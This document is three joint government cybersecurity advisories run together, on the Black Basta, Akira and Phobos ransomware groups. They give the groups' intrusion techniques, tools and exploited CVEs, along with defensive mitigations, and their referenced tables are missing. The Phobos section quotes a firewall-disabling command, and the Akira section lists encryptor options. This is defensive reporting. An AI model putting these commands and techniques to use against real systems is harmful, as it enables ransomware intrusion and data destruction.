SUMMARY

Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), Department of Health and Human Services (HHS), and Multi-State Information Sharing and Analysis Center (MS-ISAC) (hereafter referred to as the authoring organizations) are releasing this joint CSA to provide information on Black Basta, a ransomware variant whose actors have encrypted and stolen data from at least 12 out of 16 critical infrastructure sectors, including the Healthcare and Public Health (HPH) Sector.

This joint CSA provides TTPs and IOCs obtained from FBI investigations and third-party reporting. Black Basta is considered a ransomware-as-a-service (RaaS) variant and was first identified in April 2022. Black Basta affiliates have impacted a wide range of businesses and critical infrastructure in North America, Europe, and Australia. As of May 2024, Black Basta affiliates have impacted over 500 organizations globally.

Black Basta affiliates use common initial access techniques—such as phishing and exploiting known vulnerabilities—and then employ a double-extortion model, both encrypting systems and exfiltrating data. Ransom notes do not generally include an initial ransom demand or payment instructions. Instead, the notes provide victims with a unique code and instructs them to contact the ransomware group via a .onion URL (reachable through the Tor browser). Typically, the ransom notes give victims between 10 and 12 days to pay the ransom before the ransomware group publishes their data on the Black Basta TOR site, Basta News.

Healthcare organizations are attractive targets for cybercrime actors due to their size, technological dependence, access to personal health information, and unique impacts from patient care disruptions. The authoring organizations urge HPH Sector and all critical infrastructure organizations to apply the recommendations in the Mitigations section of this CSA to reduce the likelihood of compromise from Black Basta and other ransomware attacks. Victims of ransomware should report the incident to their local FBI field office or CISA (see the Reporting section for contact information).

Download the PDF version of this report:

For a downloadable copy of IOCs, see:

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 15. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK® tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Initial Access

Black Basta affiliates primarily use spearphishing [T1566] to obtain initial access. According to cybersecurity researchers, affiliates have also used Qakbot during initial access.[1]

Starting in February 2024, Black Basta affiliates began exploiting ConnectWise vulnerability CVE-2024-1709 [CWE-288] [T1190]. In some instances, affiliates have been observed abusing valid credentials [T1078].

Discovery and Execution

Black Basta affiliates use tools such as SoftPerfect network scanner (netscan.exe) to conduct network scanning. Cybersecurity researchers have observed affiliates conducting reconnaissance using utilities with innocuous file names such as Intel or Dell, left in the root drive C:\ [T1036].[1]

Lateral Movement

Black Basta affiliates use tools such as BITSAdmin and PsExec, along with Remote Desktop Protocol (RDP), for lateral movement. Some affiliates also use tools like Splashtop, Screen Connect, and Cobalt Strike beacons to assist with remote access and lateral movement.

Privilege Escalation and Lateral Movement

Black Basta affiliates use credential scraping tools like Mimikatz for privilege escalation. According to cybersecurity researchers, Black Basta affiliates have also exploited ZeroLogon (CVE-2020-1472, [CWE-330]), NoPac (CVE-2021-42278 [CWE-20] and CVE-2021-42287 [CWE-269]), and PrintNightmare (CVE-2021-34527, [CWE-269]) vulnerabilities for local and Windows Active Domain privilege escalation [T1068].[1],[2]

Exfiltration and Encryption

Black Basta affiliates use RClone to facilitate data exfiltration prior to encryption. Prior to exfiltration, cybersecurity researchers have observed Black Basta affiliates using PowerShell [T1059.001] to disable antivirus products, and in some instances, deploying a tool called Backstab, designed to disable endpoint detection and response (EDR) tooling [T1562.001].[3] Once antivirus programs are terminated, a ChaCha20 algorithm with an RSA-4096 public key fully encrypts files [T1486]. A .basta or otherwise random file extension is added to file names and a ransom note titled readme.txt is left on the compromised system.[4] To further inhibit system recovery, affiliates use the vssadmin.exe program to delete volume shadow copies [T1490].[5]

Leveraged Tools

See Table 1 for publicly available tools and applications used by Black Basta affiliates. This includes legitimate tools repurposed for their operations.

Disclaimer: Use of these tools and applications should not be attributed as malicious without analytical evidence to support threat actor use and/or control.

MITRE ATT&CK TACTICS AND TECHNIQUES

See Tables 2–6 for all referenced threat actor tactics and techniques in this advisory.

SUMMARY

Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The United States’ Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), Europol’s European Cybercrime Centre (EC3), and the Netherlands’ National Cyber Security Centre (NCSC-NL) are releasing this joint CSA to disseminate known Akira ransomware IOCs and TTPs identified through FBI investigations and trusted third party reporting as recently as February 2024.

Since March 2023, Akira ransomware has impacted a wide range of businesses and critical infrastructure entities in North America, Europe, and Australia. In April 2023, following an initial focus on Windows systems, Akira threat actors deployed a Linux variant targeting VMware ESXi virtual machines. As of January 1, 2024, the ransomware group has impacted over 250 organizations and claimed approximately $42 million (USD) in ransomware proceeds.

Early versions of the Akira ransomware variant were written in C++ and encrypted files with a .akira extension; however, beginning in August 2023, some Akira attacks began deploying Megazord, using Rust-based code which encrypts files with a .powerranges extension.  Akira threat actors have continued to use both Megazord and Akira, including Akira_v2 (identified by trusted third party investigations) interchangeably.

The FBI, CISA, EC3, and NCSC-NL encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents.

Download the PDF version of this report:

For a downloadable copy of IOCs, see:

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 14. See MITRE ATT&CK for Enterprise for all referenced tactics and techniques.

Initial Access

The FBI and cybersecurity researchers have observed Akira threat actors obtaining initial access to organizations through a virtual private network (VPN) service without multifactor authentication (MFA) configured[1], mostly using known Cisco vulnerabilities [T1190] CVE-2020-3259 and CVE-2023-20269.[2],[3],[4] Additional methods of initial access include the use of external-facing services such as Remote Desktop Protocol (RDP) [T1133], spear phishing [T1566.001][T1566.002], and the abuse of valid credentials[T1078].[4]

Persistence and Discovery

Once initial access is obtained, Akira threat actors attempt to abuse the functions of domain controllers by creating new domain accounts [T1136.002] to establish persistence. In some instances, the FBI identified Akira threat actors creating an administrative account named itadm.

According to FBI and open source reporting, Akira threat actors leverage post-exploitation attack techniques, such as Kerberoasting[5], to extract credentials stored in the process memory of the Local Security Authority Subsystem Service (LSASS) [T1003.001].[6] Akira threat actors also use credential scraping tools [T1003] like Mimikatz and LaZagne to aid in privilege escalation. Tools like SoftPerfect and Advanced IP Scanner are often used for network device discovery (reconnaissance) purposes [T1016] and net Windows commands are used to identify domain controllers [T1018] and gather information on domain trust relationships [T1482].

See Table 1 for a descriptive listing of these tools.

Defense Evasion

Based on trusted third party investigations, Akira threat actors have been observed deploying two distinct ransomware variants against different system architectures within the same compromise event. This marks a shift from recently reported Akira ransomware activity. Akira threat actors were first observed deploying the Windows-specific “Megazord” ransomware, with further analysis revealing that a second payload was concurrently deployed in this attack (which was later identified as a novel variant of the Akira ESXi encryptor, “Akira_v2”).

As Akira threat actors prepare for lateral movement, they commonly disable security software to avoid detection. Cybersecurity researchers have observed Akira threat actors using PowerTool to exploit the Zemana AntiMalware driver[4] and terminate antivirus-related processes [T1562.001].

Exfiltration and Impact

Akira threat actors leverage tools such as FileZilla, WinRAR [T1560.001], WinSCP, and RClone to exfiltrate data [T1048]. To establish command and control channels, threat actors leverage readily available tools like AnyDesk, MobaXterm, RustDesk, Ngrok, and Cloudflare Tunnel, enabling exfiltration through various protocols such as File Transfer Protocol (FTP), Secure File Transfer Protocol (SFTP), and cloud storage services like Mega [T1537] to connect to exfiltration servers.

Akira threat actors use a double-extortion model [T1657] and encrypt systems [T1486] after exfiltrating data. The Akira ransom note provides each company with a unique code and instructions to contact the threat actors via a .onion URL. Akira threat actors do not leave an initial ransom demand or payment instructions on compromised networks, and do not relay this information until contacted by the victim. Ransom payments are paid in Bitcoin to cryptocurrency wallet addresses provided by the threat actors. To further apply pressure, Akira threat actors threaten to publish exfiltrated data on the Tor network, and in some instances have called victimized companies, according to FBI reporting.

Encryption

Akira threat actors utilize a sophisticated hybrid encryption scheme to lock data. This involves combining a ChaCha20 stream cipher with an RSA public-key cryptosystem for speed and secure key exchange [T1486]. This multilayered approach tailors encryption methods based on file type and size and is capable of full or partial encryption. Encrypted files are appended with either a .akira or .powerranges extension. To further inhibit system recovery, Akira’s encryptor (w.exe) utilizes PowerShell commands to delete volume shadow copies (VSS) on Windows systems [T1490]. Additionally, a ransom note named fn.txt appears in both the root directory (C:) and each users’ home directory (C:\Users).

Trusted third party analysis identified that the Akira_v2 encryptor is an upgrade from its previous version, which includes additional functionalities due to the language it’s written in (Rust). Previous versions of the encryptor provided options to insert arguments at runtime, including:

• -p --encryption_path (targeted file/folder paths)
• -s --share_file (targeted network drive path)
• -n --encryption_percent (percentage of encryption)
• --fork (create a child process for encryption

The ability to insert additional threads allows Akira threat actors to have more granular control over the number of CPU cores in use, increasing the speed and efficiency of the encryption process. The new version also adds a layer of protection, utilizing the Build ID as a run condition to hinder dynamic analysis. The encryptor is unable to execute successfully without the unique Build ID. The ability to deploy against only virtual machines using “vmonly” and the ability to stop running virtual machines with “stopvm” functionalities have also been observed implemented for Akira_v2. After encryption, the Linux ESXi variant may include the file extension “akiranew” or add a ransom note named “akiranew.txt” in directories where files were encrypted with the new nomenclature.

Leveraged Tools

Table 1 lists publicly available tools and applications Akira threat actors have used, including legitimate tools repurposed for their operations. Use of these tools and applications should not be attributed as malicious without analytical evidence to support threat actor use and/or control.

Indicators of Compromise

Disclaimer: Investigation or vetting of these indicators is recommended prior to taking action, such as blocking.

Disclaimer: While the date/time can be changed by Akira threat actors, trusted third-party analysis confirmed these samples were created on December 28, 2023.

MITRE ATT&CK TACTICS AND TECHNIQUES

See Tables 6 -14 for all referenced Akira threat actor tactics and techniques for enterprise environments in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

MITIGATIONS

Network Defenders

The FBI, CISA, EC3, and NCSC-NL recommend organizations apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, and to reduce the risk of compromise by Akira ransomware. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

• Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (e.g., hard drive, storage device, the cloud) [CPG 2.F, 2.R, 2.S].
• Require all accounts with password logins (e.g., service accounts, admin accounts, and domain admin accounts) to comply with NIST’s standards. In particular, require employees to use long passwords and consider not requiring recurring password changes, as these can weaken security [CPG 2.C].
• Require multifactor authentication for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems [CPG 2.H].
• Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost effective steps an organization can take to minimize its exposure to cybersecurity threats. Prioritize patching known exploited vulnerabilities in internet-facing systems. [CPG 1.E].
• Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement [CPG 2.F].
• Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host [CPG 3.A].
• Filter network traffic by preventing unknown or untrusted origins from accessing remote services on internal systems. This prevents threat actors from directly connecting to remote access services that they have established for persistence.
• Install, regularly update, and enable real time detection for antivirus software on all hosts.
• Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts [CPG 1.A, 2.O].
• Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege [CPG 2.E].
• Disable unused ports [CPG 2.V].
• Consider adding an email banner to emails received from outside of your organization [CPG 2.M].
• Disable hyperlinks in received emails.
• Implement time-based access for accounts set at the admin level and higher. For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task.
• Disable command-line and scripting activities and permissions. Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally [CPG 2.E, 2.N].
• Maintain offline backups of data, and regularly maintain backup and restoration [CPG 2.R]. By instituting this practice, the organization helps ensure they will not be severely interrupted, and/or only have irretrievable data. 
• Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 2.K, 2.L, 2.R].

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, the FBI, CISA, EC3, and NCSC-NL recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The FBI, CISA, EC3 and NCSC-NL recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Tables 6 -14).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The FBI, CISA, EC3, and NCSC-NL recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

• Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts.
• Resource to mitigate a ransomware attack: #StopRansomware Guide.
• No cost cyber hygiene services: Cyber Hygiene Services, Ransomware Readiness Assessment.

REFERENCES

1. Fortinet: Ransomware Roundup - Akira
2. Cisco: Akira Ransomware Targeting VPNs without MFA
3. Truesec: Indications of Akira Ransomware Group Actively Exploiting Cisco AnyConnect CVE-2020-3259
4. TrendMicro: Akira Ransomware Spotlight
5. CrowdStrike: What is a Kerberoasting Attack?
6. Sophos: Akira, again: The ransomware that keeps on taking
7. Sophos: Akira Ransomware is “bringin’ 1988 back”

REPORTING

Your organization has no obligation to respond or provide information back to the FBI in response to this joint CSA. If, after reviewing the information provided, your organization decides to provide information to the FBI, reporting must be consistent with applicable state and federal laws.

The FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with Akira threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.

Additional details of interest include: a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.

The FBI, CISA, EC3, and NCSC-NL do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to the FBI’s Internet Crime Complain Center (IC3), a local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov or by calling 1-844-Say-CISA (1-844-729-2472).

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. The FBI, CISA, EC3, and NCSC-NL do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the FBI or CISA.

ACKNOWLEDGEMENTS

Cisco, Sophos, and Fortinet contributed to this advisory.

VERSION HISTORY

April 18, 2024: Initial version.

SUMMARY

Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) are releasing this joint CSA, to disseminate known TTPs and IOCs associated with the Phobos ransomware variants observed as recently as February 2024, according to open source reporting. Phobos is structured as a ransomware-as-a-service (RaaS) model. Since May 2019, Phobos ransomware incidents impacting state, local, tribal, and territorial (SLTT) governments have been regularly reported to the MS-ISAC. These incidents targeted municipal and county governments, emergency services, education, public healthcare, and other critical infrastructure entities to successfully ransom several million U.S. dollars.[1],[2]

The FBI, CISA, and the MS-ISAC encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of Phobos ransomware and other ransomware incidents.

Download the PDF version of this report:

For a downloadable copy of indicators of compromise (IOCs), see:

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK® tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Overview

According to open source reporting, Phobos ransomware is likely connected to numerous variants (including Elking, Eight, Devos, Backmydata, and Faust ransomware) due to similar TTPs observed in Phobos intrusions. Phobos ransomware operates in conjunction with various open source tools such as Smokeloader, Cobalt Strike, and Bloodhound. These tools are all widely accessible and easy to use in various operating environments, making it (and associated variants) a popular choice for many threat actors.[3],[4]

Reconnaissance and Initial Access

Phobos actors typically gain initial access to vulnerable networks by leveraging phishing campaigns [T1598] to drop hidden payloads or using internet protocol (IP) scanning tools, such as Angry IP Scanner, to search for vulnerable Remote Desktop Protocol (RDP) ports [T1595.001] or by leveraging RDP on Microsoft Windows environments.[5],[6]

Once they discover an exposed RDP service, the actors use open source brute force tools to gain access [T1110]. If Phobos actors gain successful RDP authentication [T1133][T1078] in the targeted environment, they perform open source research to create a victim profile and connect the targeted IP addresses to their associated companies [T1593]. Threat actors leveraging Phobos have notably deployed remote access tools to establish a remote connection within the compromised network [T1219].[7]

Alternatively, threat actors send spoofed email attachments [T1566.001] that are embedded with hidden payloads [T1204.002] such as SmokeLoader, a backdoor trojan that is often used in conjunction with Phobos. After SmokeLoader’s hidden payload is downloaded onto the victim’s system, threat actors use the malware’s functionality to download the Phobos payload and exfiltrate data from the compromised system.

Execution and Privilege Escalation

Phobos actors run executables like 1saas.exe or cmd.exe to deploy additional Phobos payloads that have elevated privileges enabled [TA0004]. Additionally, Phobos actors can use the previous commands to perform various windows shell functions. The Windows command shell enables threat actors to control various aspects of a system, with multiple permission levels required for different subsets of commands [T1059.003][T1105].[8]

Smokeloader Deployment

Phobos operations feature a standard three phase process to decrypt a payload that allows the threat actors to deploy additional destructive malware.[9]

For the first phase, Smokeloader manipulates either VirtualAlloc or VirtualProtect API functions—which opens an entry point, enabling code to be injected into running processes and allowing the malware to evade network defense tools [T1055.002]. In the second phase, a stealth process is used to obfuscate command and control (C2) activity by producing requests to legitimate websites [T1001.003].[10]

Within this phase, the shellcode also sends a call from the entry point to a memory container [T1055.004] and prepares a portable executable for deployment in the final stage [T1027.002][T1105][T1140].

Finally, once Smokeloader reaches its third stage, it unpacks a program-erase cycle from stored memory, which is then sent to be extracted from a SHA 256 hash as a payload.[7] Following successful payload decryption, the threat actors can begin downloading additional malware.

Additional Phobos Defense Evasion Capabilities

Phobos ransomware actors have been observed bypassing organizational network defense protocols by modifying system firewall configurations using commands like netsh firewall set opmode mode=disable [T1562.004]. Additionally, Phobos actors can evade detection by using the following tools: Universal Virus Sniffer, Process Hacker, and PowerTool [T1562].

Persistence and Privilege Escalation

According to open source reporting, Phobos ransomware uses commands such as Exec.exe or the bcdedit[.]exe control mechanism. Phobos has also been observed using Windows Startup folders and Run Registry Keys such as C:/Users\Admin\AppData\Local\directory [T1490][T1547.001] to maintain persistence within compromised environments.[5]

Additionally, Phobos actors have been observed using built-in Windows API functions [T1106] to steal tokens [T1134.001], bypass access controls, and create new processes to escalate privileges by leveraging the SeDebugPrivilege process [T1134.002]. Phobos actors attempt to authenticate using cached password hashes on victim machines until they reach domain administrator access [T1003.005].

Discovery and Credential Access

Phobos actors additionally use open source tools [T1588.002] such as Bloodhound and Sharphound to enumerate the active directory [T1087.002]. Mimikatz and NirSoft, as well as Remote Desktop Passview to export browser client credentials [T1003.001][T1555.003], have also been used. Furthermore, Phobos ransomware is able to enumerate connected storage devices [T1082], running processes [T1057], and encrypt user files [T1083].

Exfiltration

Phobos actors have been observed using WinSCP and Mega.io for file exfiltration.[11] They use WinSCP to connect directly from a victim network to an FTP server [T1071.002] they control [TA0010]. Phobos actors install Mega.io [T1048] and use it to export victim files directly to a cloud storage provider [T1567.002]. Data is typically archived as either a .rar or .zip file [T1560] to be later exfiltrated. They target legal documentation, financial records, technical documents (including network architecture), and databases for commonly used password management software [T1555.005].

Impact

After the exfiltration phase, Phobos actors then hunt for backups. They use vssadmin.exe and Windows Management Instrumentation command-line utility (WMIC) to discover and delete volume shadow copies in Windows environments. This prevents victims from recovering files after encryption has taken place [T1047][T1490].

Phobos.exe contains functionality to encrypt all connected logical drives on the target host [T1486]. Each Phobos ransomware executable has unique build identifiers (IDs), affiliate IDs, as well as a unique ransom note which is embedded in the executable. After the ransom note has populated on infected workstations, Phobos ransomware continues to search for and encrypt additional files.

Most extortion [T1657] occurs via email; however, some affiliate groups have used voice calls to contact victims. In some cases, Phobos actors have used onion sites to list victims and host stolen victim data. Phobos actors use various instant messaging applications such as ICQ, Jabber, and QQ to communicate [T1585]. See Figure 2 for a list of email providers used by the following Phobos affiliates: Devos, Eight, Elbie, Eking, and Faust.[6]

INDICATORS OF COMPROMISE (IOCs)

See Table 1 through 6 for IOCs obtained from CISA and the FBI investigations from September through November 2023.

The commands above are observed during the execution of a Phobos encryption executable. A Phobos encryption executable spawns a cmd.exe process, which then executes the commands listed in Table 1 with their respective Windows system executables. When the commands above are executed on a Windows system, volume shadow copies are deleted and Windows Firewall is disabled. Additionally, the system’s boot status policy is set to boot even when there are errors during the boot process, and automatic recovery options, like Windows Recovery Environment (WinRE), are disabled for the given boot entry. The system’s backup catalog is also deleted. Finally, the Phobos ransom note is displayed to the end user using mshta.exe.

Disclaimer: Organizations are encouraged to investigate the use of the IOCs in Table 7 for related signs of compromise prior to performing remediation actions.

Disclaimer: Organizations are encouraged to investigate the use of the file hashes in Tables 8 and 9 for related signs of compromise prior to performing remediation actions.

MITRE ATT&CK TECHNIQUES

See Table 10 through 22 for all threat actor tactics and techniques referenced in this advisory.

MITIGATIONS

Secure by Design and Default Mitigations:

These mitigations apply to all critical infrastructure organizations and network defenders. The FBI, CISA, and MS-ISAC recommend that software manufacturers incorporate secure by design and default principles and tactics into their software development practices limiting the impact of ransomware techniques, thus, strengthening the secure posture for their customers.

For more information on secure by design, see CISA’s Secure by Design webpage and joint guide.

The FBI, CISA, and MS-ISAC recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture against actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

• Secure remote access software by applying recommendations from the joint Guide to Securing Remote Access Software.
• Implement application controls to manage and control execution of software, including allowlisting remote access programs.
  • Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlist solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.
• Implement log collection best practices and use intrusion detection systems to defend against threat actors manipulating firewall configurations through early detection [CPG 2.T].
  • Implement EDR solutions to disrupt threat actor memory allocation techniques.
• Strictly limit the use of RDP and other remote desktop services. If RDP is necessary, rigorously apply best practices, for example [CPG 2.W]:
  • Audit the network for systems using RDP.
  • Close unused RDP ports.
  • Enforce account lockouts after a specified number of attempts.
  • Apply phishing-resistant multifactor authentication (MFA).
  • Log RDP login attempts.
• Disable command-line and scripting activities and permissions [CPG 2.N].
• Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts [CPG 4.C].
• Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege (PoLP) [CPG 2.E].
• Reduce the threat of credential compromise via the following:
  • Place domain admin accounts in the protected users’ group to prevent caching of password hashes locally.
  • Refrain from storing plaintext credentials in scripts.
• Implement time-based access for accounts at the admin level and higher [CPG 2.A, 2.E].

In addition, the authoring authorities of this CSA recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, and to reduce the impact and risk of compromise by ransomware or data extortion actors:

• Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, or the cloud).
• Maintain offline backups of data and regularly maintain backup and restoration (daily or weekly at minimum). By instituting this practice, an organization limits the severity of disruption to its business practices [CPG 2.R].
• Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with NIST's standards for developing and managing password policies.
  • Use longer passwords consisting of at least 15 characters and no more than 64 characters in length [CPG 2.B].
  • Store passwords in hashed format using industry-recognized password managers.
  • Add password user “salts” to shared login credentials.
  • Avoid reusing passwords [CPG 2.C].
  • Implement multiple failed login attempt account lockouts [CPG 2.G].
  • Disable password “hints.”
  • Refrain from requiring password changes more frequently than once per year.
    Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.
  • Require administrator credentials to install software.
• Require phishing-resistant multifactor authentication (MFA) for all services to the extent possible, particularly for webmail, virtual private networks (VPNs), and accounts that access critical systems [CPG 2.H].
• Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement [CPG 2.F].
• Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic and activity, including lateral movement, on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host [CPG 3.A].
• Install, regularly update, and enable real time detection for antivirus software on all hosts.
• Disable unused ports and protocols [CPG 2.V].
• Consider adding an email banner to emails received from outside your organization [CPG 2.M].
• Disable hyperlinks in received emails.
• Ensure all backup data is encrypted, immutable (i.e., ensure backup data cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 2.K, 2.L, 2.R].

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, the FBI, CISA, and MS-ISAC recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The FBI, CISA, and MS-ISAC recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Tables 4-16).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The FBI, CISA, and MS-ISAC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

• Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts.
• Resource to mitigate a ransomware attack: CISA, NSA, FBI, and Multi-State Information Sharing and Analysis Center’s (MS-ISAC) Joint #StopRansomware Guide.
• SLTT organizations are encouraged to implement MS-ISAC’s Ransomware Defense-in-Depth guidance.
• No-cost cyber hygiene services: Cyber Hygiene Services and Ransomware Readiness Assessment.
• CISA: Known Exploited Vulnerabilities Catalog
• CISA, MITRE: Best Practices for MITRE ATT&CK Mapping
• CISA: Decider Tool
• CISA: Cross-Sector Cybersecurity Performance Goals
• CISA: Secure by Design
• CISA: Implementing Phishing-Resistant MFA
• CISA: Guide to Securing Remote Access Software

REFERENCES

[1] Privacy Affairs: “Moral” 8Base Ransomware Targets 2 New Victims
[2] VMware: 8base ransomware: A Heavy Hitting Player
[3] Infosecurity Magazine: Phobos Ransomware Family Expands With New FAUST Variant
[4] The Record: Hospitals offline across Romania following ransomware attack on IT platform
[5] Comparitech: What is Phobos Ransomware & How to Protect Against It?
[6] Cisco Talos: Understanding the Phobos affiliate structure and activity
[7] Cisco Talos: A deep dive into Phobos ransomware, recently deployed by 8Base group
[8] Malwarebytes Labs: A deep dive into Phobos ransomware
[9] Any Run: Smokeloader
[10] Malpedia: Smokeloader
[11] Truesec: A case of the FAUST Ransomware
[12] VirusTotal: Phobos Domain #1
[13] VirusTotal: Phobos executable: Ahpdate.exe
[14] VirusTotal: Phobos GUI extension: ELF File
[15] VirusTotal: Phobos IP address: 185.202.0[.]111
[16] VirusTotal: Phobos GUI extension: Binary File
[17] Cisco Talos GitHub: IOCs/2023/11/deep-dive-into-phobos-ransomware.txt at main

REPORTING

